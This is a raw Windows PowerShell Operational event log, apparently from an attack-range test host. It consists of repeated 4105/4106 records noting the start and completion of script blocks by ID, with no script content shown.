Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026061
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026059
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026058
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026037
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026031
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
